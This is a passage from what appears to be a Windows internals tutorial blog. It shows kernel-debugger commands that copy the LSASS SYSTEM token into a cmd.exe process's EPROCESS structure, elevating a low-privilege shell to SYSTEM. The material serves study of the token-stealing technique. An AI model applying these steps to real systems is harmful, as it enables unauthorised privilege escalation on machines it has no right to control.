<span class="hljs-meta">kd&gt;</span><span class="bash"> ? &lt;LSASS_TOKEN_ADDRESS&gt; &amp; FFFFFFFF`FFFFFFF0</span>
<span class="hljs-meta">kd&gt;</span><span class="bash"> !process 0 0 cmd.exe</span>
<span class="hljs-meta">kd&gt;</span><span class="bash"> eq &lt;CMD_EPROCESS_ADDRESS+0x208&gt; &lt;LSASS_TOKEN_ADDRESS&gt;</span>

To see what this looks like when run against a live system, I’ll leave you with a quick demo showing cmd.exe being elevated from a low level user, to SYSTEM privileges:

РубрикиБез рубрики

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *